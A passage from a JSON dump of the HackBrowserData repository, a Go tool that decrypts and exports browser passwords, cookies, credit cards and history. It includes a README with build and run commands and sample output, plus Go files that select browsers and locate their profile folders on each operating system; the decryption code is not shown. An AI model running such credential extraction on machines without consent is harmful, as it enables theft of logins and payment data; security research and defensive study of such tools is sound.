actions.\n\n**Consequence**: A warning with consequences for continued behavior. No\ninteraction with the people involved, including unsolicited interaction with\nthose enforcing the Code of Conduct, for a specified period of time. This\nincludes avoiding interactions in community spaces as well as external channels\nlike social media. Violating these terms may lead to a temporary or\npermanent ban.\n\n### 3. Temporary Ban\n\n**Community Impact**: A serious violation of community standards, including\nsustained inappropriate behavior.\n\n**Consequence**: A temporary ban from any sort of interaction or public\ncommunication with the community for a specified period of time. No public or\nprivate interaction with the people involved, including unsolicited interaction\nwith those enforcing the Code of Conduct, is allowed during this period.\nViolating these terms may lead to a permanent ban.\n\n### 4. Permanent Ban\n\n**Community Impact**: Demonstrating a pattern of violation of community\nstandards, including sustained inappropriate behavior,  harassment of an\nindividual, or aggression toward or disparagement of classes of individuals.\n\n**Consequence**: A permanent ban from any sort of public interaction within\nthe community.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage],\nversion 2.0, available at\nhttps://www.contributor-covenant.org/version/2/0/code_of_conduct.html.\n\nCommunity Impact Guidelines were inspired by [Mozilla's code of conduct\nenforcement ladder](https://github.com/mozilla/diversity).\n\n[homepage]: https://www.contributor-covenant.org\n\nFor answers to common questions about this code of conduct, see the FAQ at\nhttps://www.contributor-covenant.org/faq. Translations are available at\nhttps://www.contributor-covenant.org/translations.\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing to HackBrowserData\n\nWe appreciate your interest in contributing to the HackBrowserData! This document provides some basic guidelines for contributors.\n\n## Getting Started\n\n- Always base your work from the `dev` branch, which is the development branch with the latest code.\n- Before creating a Pull Request (PR), make sure there is a corresponding issue for your contribution. If there isn't one already, please create one.\n- Include the problem description in the issue.\n\n## Pull Requests\n\nWhen creating a PR, please follow these guidelines:\n\n- Link your PR to the corresponding issue.\n- Provide context in the PR description to help reviewers understand the changes. The more information you provide, the faster the review process will be.\n- Include an example of running the tool with the changed code, if applicable. Provide 'before' and 'after' examples if possible.\n- Include steps for functional testing or replication.\n- If you're adding a new feature, make sure to include unit tests.\n\n## Code Style\n\nPlease adhere to the existing coding style for consistency.\n\n## Questions\n\nIf you have any questions or need further guidance, please feel free to ask in the issue or PR, or [reach out to the maintainers](mailto:i@moond4rk.com). We will reply to you as soon as possible.\n\nThank you for your contribution!\n\n"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2020 ᴍᴏᴏɴᴅᴀʀᴋ\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "<div align=\"center\">\n<img src=\"LOGO.png\" alt=\"hack-browser-data logo\" width=\"440px\" />\n</div> \n\n# HackBrowserData\n\n[![Lint](https://github.com/moonD4rk/HackBrowserData/actions/workflows/lint.yml/badge.svg)](https://github.com/moonD4rk/HackBrowserData/actions/workflows/lint.yml) [![Build](https://github.com/moonD4rk/HackBrowserData/actions/workflows/build.yml/badge.svg)](https://github.com/moonD4rk/HackBrowserData/actions/workflows/build.yml) [![Release](https://github.com/moonD4rk/HackBrowserData/actions/workflows/release.yml/badge.svg)](https://github.com/moonD4rk/HackBrowserData/actions/workflows/release.yml) [![Tests](https://github.com/moonD4rk/HackBrowserData/actions/workflows/test.yml/badge.svg?branch=main)](https://github.com/moonD4rk/HackBrowserData/actions/workflows/test.yml) [![Coverage Status](https://coveralls.io/repos/github/moonD4rk/HackBrowserData/badge.svg)](https://coveralls.io/github/moonD4rk/HackBrowserData)\n\n`HackBrowserData` is a command-line tool for decrypting and exporting browser data (passwords, history, cookies, bookmarks, credit cards, download history, localStorage and extensions) from the browser. It supports the most popular browsers on the market and runs on Windows, macOS and Linux.\n\n> Disclaimer: This tool is only intended for security research. Users are responsible for all legal and related liabilities resulting from the use of this tool. The original author does not assume any legal responsibility.\n\n## Recent Updates\n\n### Firefox 144+ Support\n\nHackBrowserData now supports decryption of saved passwords in Firefox 144 and later versions.\n\nStarting from Firefox 144, Mozilla migrated password encryption from 3DES to AES-256-CBC to enhance security. HackBrowserData has been updated accordingly and remains fully compatible with the latest Firefox encryption scheme.\n\nFor more details:\n- [Firefox 144.0 Release Notes](https://www.firefox.com/en-US/firefox/144.0/releasenotes/)\n- [How Firefox securely saves passwords](https://support.mozilla.org/en-US/kb/how-firefox-securely-saves-passwords)\n\n\n## Supported Browser\n\n### Windows\n| Browser            | Password | Cookie | Bookmark | History |\n|:-------------------|:--------:|:------:|:--------:|:-------:|\n| Google Chrome      |    ✅     |   ✅    |    ✅     |    ✅    |\n| Google Chrome Beta |    ✅     |   ✅    |    ✅     |    ✅    |\n| Chromium           |    ✅     |   ✅    |    ✅     |    ✅    |\n| Microsoft Edge     |    ✅     |   ✅    |    ✅     |    ✅    |\n| 360 Speed          |    ✅     |   ✅    |    ✅     |    ✅    |\n| QQ                 |    ✅     |   ✅    |    ✅     |    ✅    |\n| Brave              |    ✅     |   ✅    |    ✅     |    ✅    |\n| Opera              |    ✅     |   ✅    |    ✅     |    ✅    |\n| OperaGX            |    ✅     |   ✅    |    ✅     |    ✅    |\n| Vivaldi            |    ✅     |   ✅    |    ✅     |    ✅    |\n| Yandex             |    ✅     |   ✅    |    ✅     |    ✅    |\n| CocCoc             |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox            |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Beta       |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Dev        |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox ESR        |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Nightly    |    ✅     |   ✅    |    ✅     |    ✅    |\n| Internet Explorer  |    ❌     |   ❌    |    ❌     |    ❌    |\n\n\n### MacOS\n\nBased on Apple's security policy, some browsers **require a current user password** to decrypt.\n\n| Browser            | Password | Cookie | Bookmark | History |\n|:-------------------|:--------:|:------:|:--------:|:-------:|\n| Google Chrome      |    ✅     |   ✅    |    ✅     |    ✅    |\n| Google Chrome Beta |    ✅     |   ✅    |    ✅     |    ✅    |\n| Chromium           |    ✅     |   ✅    |    ✅     |    ✅    |\n| Microsoft Edge     |    ✅     |   ✅    |    ✅     |    ✅    |\n| Brave              |    ✅     |   ✅    |    ✅     |    ✅    |\n| Opera              |    ✅     |   ✅    |    ✅     |    ✅    |\n| OperaGX            |    ✅     |   ✅    |    ✅     |    ✅    |\n| Vivaldi            |    ✅     |   ✅    |    ✅     |    ✅    |\n| CocCoc             |    ✅     |   ✅    |    ✅     |    ✅    |\n| Yandex             |    ✅     |   ✅    |    ✅     |    ✅    |\n| Arc                |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox            |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Beta       |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Dev        |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox ESR        |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Nightly    |    ✅     |   ✅    |    ✅     |    ✅    |\n| Safari             |    ❌     |   ❌    |    ❌     |    ❌    |\n\n### Linux\n\n| Browser            | Password | Cookie | Bookmark | History |\n|:-------------------|:--------:|:------:|:--------:|:-------:|\n| Google Chrome      |    ✅     |   ✅    |    ✅     |    ✅    |\n| Google Chrome Beta |    ✅     |   ✅    |    ✅     |    ✅    |\n| Chromium           |    ✅     |   ✅    |    ✅     |    ✅    |\n| Microsoft Edge Dev |    ✅     |   ✅    |    ✅     |    ✅    |\n| Brave              |    ✅     |   ✅    |    ✅     |    ✅    |\n| Opera              |    ✅     |   ✅    |    ✅     |    ✅    |\n| Vivaldi            |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox            |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Beta       |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Dev        |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox ESR        |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Nightly    |    ✅     |   ✅    |    ✅     |    ✅    |\n\n\n## Getting started\n\n### Install\n\nInstallation of `HackBrowserData` is dead-simple, just download [the release for your system](https://github.com/moonD4rk/HackBrowserData/releases) and run the binary.\n\n> In some situations, this security tool will be treated as a virus by Windows Defender or other antivirus software and can not be executed. The code is all open source, you can modify and compile by yourself.\n\n### Building from source\n\nonly support `go 1.20+` with go generics.\n\n```bash\n$ git clone https://github.com/moonD4rk/HackBrowserData\n\n$ cd HackBrowserData/cmd/hack-browser-data\n\n$ go build\n```\n\n### Cross compile\n\nHere's an example of use `macOS` building for `Windows` and `Linux`\n\n#### For Windows\n\n```shell\nGOOS=windows GOARCH=amd64 go build\n```\n\n#### For Linux\n\n````shell\nGOOS=linux GOARCH=amd64 go build\n````\n\n### Run\n\nYou can double-click to run, or use command line.\n\n```powershell\nPS C:\\Users\\moond4rk\\Desktop> .\\hack-browser-data.exe -h\nNAME:\n   hack-browser-data - Export passwords|bookmarks|cookies|history|credit cards|download history|localStorage|extensions from browser\nUSAGE:\n   [hack-browser-data -b chrome -f json --dir results --zip]\n   Export all browsing data (passwords/cookies/history/bookmarks) from browser\n   Github Link: https://github.com/moonD4rk/HackBrowserData\nVERSION:\n   0.4.6\n\nGLOBAL OPTIONS:\n   --verbose, --vv                   verbose (default: false)\n   --compress, --zip                 compress result to zip (default: false)\n   --browser value, -b value         available browsers: all|360|brave|chrome|chrome-beta|chromium|coccoc|dc|edge|firefox|opera|opera-gx|qq|sogou|vivaldi|yandex (default: \"all\")\n   --results-dir value, --dir value  export dir (default: \"results\")\n   --format value, -f value          output format: csv|json (default: \"csv\")\n   --profile-path value, -p value    custom profile dir path, get with chrome://version\n   --full-export, --full             is export full browsing data (default: true)\n   --help, -h                        show help\n   --version, -v                     print the version\n\n```\n\nFor example, the following is an automatic scan of the browser on the current computer, outputting the decryption results in `JSON` format and compressing as `zip`.\n\n```powershell\nPS C:\\Users\\moond4rk\\Desktop> .\\hack-browser-data.exe -b all -f json --dir results --zip\n\nPS C:\\Users\\moond4rk\\Desktop> ls -l .\\results\\\n    Directory: C:\\Users\\moond4rk\\Desktop\\results\n    \nMode                 LastWriteTime         Length Name\n----                 -------------         ------ ----\n-a----         7/15/2024  10:55 PM          44982 results.zip\n```\n\n\n### Run with custom browser profile folder\n\nIf you want to export data from a custom browser profile folder, you can use the `-p` parameter to specify the path of the browser profile folder. PS: use double quotes to wrap the path.\n```powershell\nPS C:\\Users\\moond4rk\\Desktop> .\\hack-browser-data.exe -b chrome -p \"C:\\Users\\User\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\"\n\n[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_creditcard.csv success  \n[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_bookmark.csv success  \n[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_cookie.csv success  \n[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_history.csv success  \n[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_download.csv success  \n[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_password.csv success  \n```\n\n## Contributing\n\nWe welcome and appreciate any contributions made by the community (GitHub issues/pull requests, email feedback, etc.).\n\nPlease see the [Contribution Guide](CONTRIBUTING.md) before contributing.\n\n\n## Contributors\n\n![](/CONTRIBUTORS.svg)\n\n## Stargazers over time\n[![Star History Chart](https://api.star-history.com/svg?repos=moond4rk/hackbrowserdata&type=Date)](https://github.com/moond4rk/HackBrowserData)\n\n\n## 404StarLink 2.0 - Galaxy\n`HackBrowserData` is a part of 404Team [StarLink-Galaxy](https://github.com/knownsec/404StarLink2.0-Galaxy), if you have any questions about `HackBrowserData` or want to find a partner to communicate with，please refer to the [Starlink group](https://github.com/knownsec/404StarLink2.0-Galaxy#community).\n<a href=\"https://github.com/knownsec/404StarLink2.0-Galaxy\" target=\"_blank\"><img src=\"https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png\" align=\"middle\"/></a>\n\n##  JetBrains OS licenses\n``HackBrowserData`` had been being developed with `GoLand` IDE under the **free JetBrains Open Source license(s)** granted by JetBrains s.r.o., hence I would like to express my thanks here.\n\n<a href=\"https://www.jetbrains.com/?from=HackBrowserData\" target=\"_blank\"><img src=\"https://raw.githubusercontent.com/moonD4rk/staticfiles/master/picture/jetbrains-variant-4.png\" width=\"256\" align=\"middle\"/></a>\n\n"
  },
  {
    "path": "browser/browser.go",
    "content": "package browser\n\nimport (\n\t\"path/filepath\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"github.com/moond4rk/hackbrowserdata/browser/chromium\"\n\t\"github.com/moond4rk/hackbrowserdata/browser/firefox\"\n\t\"github.com/moond4rk/hackbrowserdata/browserdata\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/fileutil\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/typeutil\"\n)\n\ntype Browser interface {\n\t// Name is browser's name\n\tName() string\n\t// BrowsingData returns all browsing data in the browser.\n\tBrowsingData(isFullExport bool) (*browserdata.BrowserData, error)\n}\n\n// PickBrowsers returns a list of browsers that match the name and profile.\nfunc PickBrowsers(name, profile string) ([]Browser, error) {\n\tvar browsers []Browser\n\tclist := pickChromium(name, profile)\n\tfor _, b := range clist {\n\t\tif b != nil {\n\t\t\tbrowsers = append(browsers, b)\n\t\t}\n\t}\n\tflist := pickFirefox(name, profile)\n\tfor _, b := range flist {\n\t\tif b != nil {\n\t\t\tbrowsers = append(browsers, b)\n\t\t}\n\t}\n\treturn browsers, nil\n}\n\nfunc pickChromium(name, profile string) []Browser {\n\tvar browsers []Browser\n\tname = strings.ToLower(name)\n\tif name == \"all\" {\n\t\tfor _, v := range chromiumList {\n\t\t\tif !fileutil.IsDirExists(filepath.Clean(v.profilePath)) {\n\t\t\t\tlog.Warnf(\"find browser failed, profile folder does not exist, browser %s\", v.name)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmultiChromium, err := chromium.New(v.name, v.storage, v.profilePath, v.dataTypes)\n\t\t\tif err != nil {\n\t\t\t\tlog.Errorf(\"new chromium error %v\", err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfor _, b := range multiChromium {\n\t\t\t\tlog.Warnf(\"find browser success, browser %s\", b.Name())\n\t\t\t\tbrowsers = append(browsers, b)\n\t\t\t}\n\t\t}\n\t}\n\tif c, ok := chromiumList[name]; ok {\n\t\tif profile == \"\" {\n\t\t\tprofile = c.profilePath\n\t\t}\n\t\tif !fileutil.IsDirExists(filepath.Clean(profile)) {\n\t\t\tlog.Errorf(\"find browser failed, profile folder does not exist, browser %s\", c.name)\n\t\t}\n\t\tchromes, err := chromium.New(c.name, c.storage, profile, c.dataTypes)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"new chromium error %v\", err)\n\t\t}\n\t\tfor _, chrome := range chromes {\n\t\t\tlog.Warnf(\"find browser success, browser %s\", chrome.Name())\n\t\t\tbrowsers = append(browsers, chrome)\n\t\t}\n\t}\n\treturn browsers\n}\n\nfunc pickFirefox(name, profile string) []Browser {\n\tvar browsers []Browser\n\tname = strings.ToLower(name)\n\tif name == \"all\" || name == \"firefox\" {\n\t\tfor _, v := range firefoxList {\n\t\t\tif profile == \"\" {\n\t\t\t\tprofile = v.profilePath\n\t\t\t} else {\n\t\t\t\tprofile = fileutil.ParentDir(profile)\n\t\t\t}\n\n\t\t\tif !fileutil.IsDirExists(filepath.Clean(profile)) {\n\t\t\t\tlog.Warnf(\"find browser failed, profile folder does not exist, browser %s\", v.name)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif multiFirefox, err := firefox.New(profile, v.dataTypes); err == nil {\n\t\t\t\tfor _, b := range multiFirefox {\n\t\t\t\t\tlog.Warnf(\"find browser success, browser %s\", b.Name())\n\t\t\t\t\tbrowsers = append(browsers, b)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tlog.Errorf(\"new firefox error %v\", err)\n\t\t\t}\n\t\t}\n\n\t\treturn browsers\n\t}\n\n\treturn nil\n}\n\nfunc ListBrowsers() []string {\n\tvar l []string\n\tl = append(l, typeutil.Keys(chromiumList)...)\n\tl = append(l, typeutil.Keys(firefoxList)...)\n\tsort.Strings(l)\n\treturn l\n}\n\nfunc Names() string {\n\treturn strings.Join(ListBrowsers(), \"|\")\n}\n"
  },
  {
    "path": "browser/browser_darwin.go",
    "content": "//go:build darwin\n\npackage browser\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n)\n\nvar (\n\tchromiumList = map[string]struct {\n\t\tname        string\n\t\tstorage     string\n\t\tprofilePath string\n\t\tdataTypes   []types.DataType\n\t}{\n\t\t\"chrome\": {\n\t\t\tname:        chromeName,\n\t\t\tstorage:     chromeStorageName,\n\t\t\tprofilePath: chromeProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"edge\": {\n\t\t\tname:        edgeName,\n\t\t\tstorage:     edgeStorageName,\n\t\t\tprofilePath: edgeProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"chromium\": {\n\t\t\tname:        chromiumName,\n\t\t\tstorage:     chromiumStorageName,\n\t\t\tprofilePath: chromiumProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"chrome-beta\": {\n\t\t\tname:        chromeBetaName,\n\t\t\tstorage:     chromeBetaStorageName,\n\t\t\tprofilePath: chromeBetaProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"opera\": {\n\t\t\tname:        operaName,\n\t\t\tprofilePath: operaProfilePath,\n\t\t\tstorage:     operaStorageName,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"opera-gx\": {\n\t\t\tname:        operaGXName,\n\t\t\tprofilePath: operaGXProfilePath,\n\t\t\tstorage:     operaStorageName,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"vivaldi\": {\n\t\t\tname:        vivaldiName,\n\t\t\tstorage:     vivaldiStorageName,\n\t\t\tprofilePath: vivaldiProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"coccoc\": {\n\t\t\tname:        coccocName,\n\t\t\tstorage:     coccocStorageName,\n\t\t\tprofilePath: coccocProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"brave\": {\n\t\t\tname:        braveName,\n\t\t\tprofilePath: braveProfilePath,\n\t\t\tstorage:     braveStorageName,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"yandex\": {\n\t\t\tname:        yandexName,\n\t\t\tstorage:     yandexStorageName,\n\t\t\tprofilePath: yandexProfilePath,\n\t\t\tdataTypes:   types.DefaultYandexTypes,\n\t\t},\n\t\t\"arc\": {\n\t\t\tname:        arcName,\n\t\t\tprofilePath: arcProfilePath,\n\t\t\tstorage:     arcStorageName,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t}\n\tfirefoxList = map[string]struct {\n\t\tname        string\n\t\tstorage     string\n\t\tprofilePath string\n\t\tdataTypes   []types.DataType\n\t}{\n\t\t\"firefox\": {\n\t\t\tname:        firefoxName,\n\t\t\tprofilePath: firefoxProfilePath,\n\t\t\tdataTypes:   types.DefaultFirefoxTypes,\n\t\t},\n\t}\n)\n\nvar (\n\tchromeProfilePath     = homeDir + \"/Library/Application Support/Google/Chrome/Default/\"\n\tchromeBetaProfilePath = homeDir + \"/Library/Application Support/Google/Chrome Beta/Default/\"\n\tchromiumProfilePath   = homeDir + \"/Library/Application Support/Chromium/Default/\"\n\tedgeProfilePath       = homeDir + \"/Library/Application Support/Microsoft Edge/Default/\"\n\tbraveProfilePath      = homeDir + \"/Library/Application Support/BraveSoftware/Brave-Browser/Default/\"\n\toperaProfilePath      = homeDir + \"/Library/Application Support/com.operasoftware.Opera/Default/\"\n\toperaGXProfilePath    = homeDir + \"/Library/Application Support/com.operasoftware.OperaGX/Default/\"\n\tvivaldiProfilePath    = homeDir + \"/Library/Application Support/Vivaldi/Default/\"\n\tcoccocProfilePath     = homeDir + \"/Library/Application Support/Coccoc/Default/\"\n\tyandexProfilePath     = homeDir + \"/Library/Application Support/Yandex/YandexBrowser/Default/\"\n\tarcProfilePath        = homeDir + \"/Library/Application Support/Arc/User Data/Default\"\n\n\tfirefoxProfilePath = homeDir + \"/Library/Application Support/Firefox/Profiles/\"\n)\n\nconst (\n\tchromeStorageName     = \"Chrome\"\n\tchromeBetaStorageName = \"Chrome\"\n\tchromiumStorageName   = \"Chromium\"\n\tedgeStorageName       = \"Microsoft Edge\"\n\tbraveStorageName      = \"Brave\"\n\toperaStorageName      = \"Opera\"\n\tvivaldiStorageName    = \"Vivaldi\"\n\tcoccocStorageName     = \"CocCoc\"\n\tyandexStorageName     = \"Yandex\"\n\tarcStorageName        = \"Arc\"\n)\n"
  },
  {
    "path": "browser/browser_linux.go",
    "content": "//go:build linux\n\npackage browser\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n)\n\nvar (\n\tchromiumList = map[string]struct {\n\t\tname        string\n\t\tstorage     string\n\t\tprofilePath string\n\t\tdataTypes   []types.DataType\n\t}{\n\t\t\"chrome\": {\n\t\t\tname:        chromeName,\n\t\t\tstorage:     chromeStorageName,\n\t\t\tprofilePath: chromeProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"edge\": {\n\t\t\tname:        edgeName,\n\t\t\tstorage:     edgeStorageName,\n\t\t\tprofilePath: edgeProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"chromium\": {\n\t\t\tname:        chromiumName,\n\t\t\tstorage:     chromiumStorageName,\n\t\t\tprofilePath: chromiumProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"chrome-beta\": {\n\t\t\tname:        chromeBetaName,\n\t\t\tstorage:     chromeBetaStorageName,\n\t\t\tprofilePath: chromeBetaProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"opera\": {\n\t\t\tname:        operaName,\n\t\t\tprofilePath: operaProfilePath,\n\t\t\tstorage:     operaStorageName,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"vivaldi\": {\n\t\t\tname:        vivaldiName,\n\t\t\tstorage:     vivaldiStorageName,\n\t\t\tprofilePath: vivaldiProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"brave\": {\n\t\t\tname:        braveName,\n\t\t\tprofilePath: braveProfilePath,\n\t\t\tstorage:     braveStorageName,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t}\n\tfirefoxList = map[string]struct {\n\t\tname        string\n\t\tstorage     string\n\t\tprofilePath string\n\t\tdataTypes   []types.DataType\n\t}{\n\t\t\"firefox\": {\n\t\t\tname:        firefoxName,\n\t\t\tprofilePath: firefoxProfilePath,\n\t\t\tdataTypes:   types.DefaultFirefoxTypes,\n\t\t},\n\t}\n)\n\nvar (\n\tfirefoxProfilePath    = homeDir + \"/.mozilla/firefox/\"\n\tchromeProfilePath     = homeDir + \"/.config/google-chrome/Default/\"\n\tchromiumProfilePath   = homeDir + \"/.config/chromium/Default/\"\n\tedgeProfilePath       = homeDir + \"/.config/microsoft-edge/Default/\"\n\tbraveProfilePath      = homeDir + \"/.config/BraveSoftware/Brave-Browser/Default/\"\n\tchromeBetaProfilePath = homeDir + \"/.config/google-chrome-beta/Default/\"\n\toperaProfilePath      = homeDir + \"/.config/opera/Default/\"\n\tvivaldiProfilePath    = homeDir + \"/.config/vivaldi/Default/\"\n)\n\nconst (\n\tchromeStorageName     = \"Chrome Safe Storage\"\n\tchromiumStorageName   = \"Chromium Safe Storage\"\n\tedgeStorageName       = \"Chromium Safe Storage\"\n\tbraveStorageName      = \"Brave Safe Storage\"\n\tchromeBetaStorageName = \"Chrome Safe Storage\"\n\toperaStorageName      = \"Chromium Safe Storage\"\n\tvivaldiStorageName    = \"Chrome Safe Storage\"\n)\n"
  },
  {
    "path": "browser/browser_windows.go",
    "content": "//go:build windows\n\npackage browser\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n)\n\nvar (\n\tchromiumList = map[string]struct {\n\t\tname        string\n\t\tprofilePath string\n\t\tstorage     string\n\t\tdataTypes   []types.DataType\n\t}{\n\t\t\"chrome\": {\n\t\t\tname:        chromeName,\n\t\t\tprofilePath: chromeUserDataPath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"edge\": {\n\t\t\tname:        edgeName,\n\t\t\tprofilePath: edgeProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"chromium\": {\n\t\t\tname:        chromiumName,\n\t\t\tprofilePath: chromiumUserDataPath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"chrome-beta\": {\n\t\t\tname:        chromeBetaName,\n\t\t\tprofilePath: chromeBetaUserDataPath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"opera\": {\n\t\t\tname:        operaName,\n\t\t\tprofilePath: operaProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"opera-gx\": {\n\t\t\tname:        operaGXName,\n\t\t\tprofilePath: operaGXProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"vivaldi\": {\n\t\t\tname:        vivaldiName,\n\t\t\tprofilePath: vivaldiProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"coccoc\": {\n\t\t\tname:        coccocName,\n\t\t\tprofilePath: coccocProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"brave\": {\n\t\t\tname:        braveName,\n\t\t\tprofilePath: braveProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"yandex\": {\n\t\t\tname:        yandexName,\n\t\t\tprofilePath: yandexProfilePath,\n\t\t\tdataTypes:   types.DefaultYandexTypes,\n\t\t},\n\t\t\"360\": {\n\t\t\tname:        speed360Name,\n\t\t\tprofilePath: speed360ProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"qq\": {\n\t\t\tname:        qqBrowserName,\n\t\t\tprofilePath: qqBrowserProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"dc\": {\n\t\t\tname:        dcBrowserName,\n\t\t\tprofilePath: dcBrowserProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t\t\"sogou\": {\n\t\t\tname:        sogouName,\n\t\t\tprofilePath: sogouProfilePath,\n\t\t\tdataTypes:   types.DefaultChromiumTypes,\n\t\t},\n\t}\n\tfirefoxList = map[string]struct {\n\t\tname        string\n\t\tstorage     string\n\t\tprofilePath string\n\t\tdataTypes   []types.DataType\n\t}{\n\t\t\"firefox\": {\n\t\t\tname:        firefoxName,\n\t\t\tprofilePath: firefoxProfilePath,\n\t\t\tdataTypes:   types.DefaultFirefoxTypes,\n\t\t},\n\t}\n)\n\nvar (\n\tchromeUserDataPath     = homeDir + \"/AppData/Local/Google/Chrome/User Data/Default/\"\n\tchromeBetaUserDataPath = homeDir + \"/AppData/Local/Google/Chrome Beta/User Data/Default/\"\n\tchromiumUserDataPath   = homeDir + \"/AppData/Local/Chromium/User Data/Default/\"\n\tedgeProfilePath        = homeDir + \"/AppData/Local/Microsoft/Edge/User Data/Default/\"\n\tbraveProfilePath       = homeDir + \"/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/\"\n\tspeed360ProfilePath    = homeDir + \"/AppData/Local/360chrome/Chrome/User Data/Default/\"\n\tqqBrowserProfilePath   = homeDir + \"/AppData/Local/Tencent/QQBrowser/User Data/Default/\"\n\toperaProfilePath       = homeDir + \"/AppData/Roaming/Opera Software/Opera Stable/\"\n\toperaGXProfilePath     = homeDir + \"/AppData/Roaming/Opera Software/Opera GX Stable/\"\n\tvivaldiProfilePath     = homeDir + \"/AppData/Local/Vivaldi/User Data/Default/\"\n\tcoccocProfilePath      = homeDir + \"/AppData/Local/CocCoc/Browser/User Data/Default/\"\n\tyandexProfilePath      = homeDir + \"/AppData/Local/Yandex/YandexBrowser/User Data/Default/\"\n\tdcBrowserProfilePath   = homeDir + \"/AppData/Local/DCBrowser/User Data/Default/\"\n\tsogouProfilePath       = homeDir + 